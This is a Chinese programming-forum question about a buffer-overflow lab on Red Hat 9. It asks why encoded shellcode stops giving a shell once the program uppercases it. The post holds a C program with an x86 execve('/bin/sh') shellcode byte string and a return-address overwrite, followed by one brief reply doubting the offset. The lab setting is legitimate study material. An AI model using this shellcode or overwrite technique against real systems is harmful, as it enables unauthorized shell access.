beinglao 2015-03-27 07:52 采纳率: 0%
浏览 1440

缓冲区溢出实验 red hat 9下,小写会转大写为什么得不到shell

test.c


#include
#include

char shellcode[] =
"\xeb\x38\x5e”
“\x80\x46\x01\x50”
“\x80\x46\x02\x50”
“\x80\x46\x03\x50”
“\x80\x46\x05\x50”
“\x80\x46\x06\x50"
"\x89\xf0\x83\xc0\x08\x89\x46\x08”
"\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xc3\xdc\xff\xff\xff”
“\x2f\x12\x19\x1e\x2f\x23\x18”;

void main() {
int *ret;
ret = (int *)&ret + 2;
int i;
for(i=0;i<strlen(shellcode);i++)
shellcode[i]=toupper(shellcode[i]);
(*ret) = (int)shellcode;

}

  • 写回答

1条回答 默认 最新

  • nswcfd 2015-05-21 07:51
    关注

    这是什么意图,是说toupper有缓冲区溢出的漏洞吗?
    ps,返回地址多半不是&ret+2。

    评论

报告相同问题?

悬赏问题

  • ¥20 机器学习能否像多层线性模型一样处理嵌套数据
  • ¥20 西门子S7-Graph,S7-300,梯形图
  • ¥50 用易语言http 访问不了网页
  • ¥50 safari浏览器fetch提交数据后数据丢失问题
  • ¥15 matlab不知道怎么改,求解答!!
  • ¥15 永磁直线电机的电流环pi调不出来
  • ¥15 用stata实现聚类的代码
  • ¥15 请问paddlehub能支持移动端开发吗?在Android studio上该如何部署?
  • ¥20 docker里部署springboot项目,访问不到扬声器
  • ¥15 netty整合springboot之后自动重连失效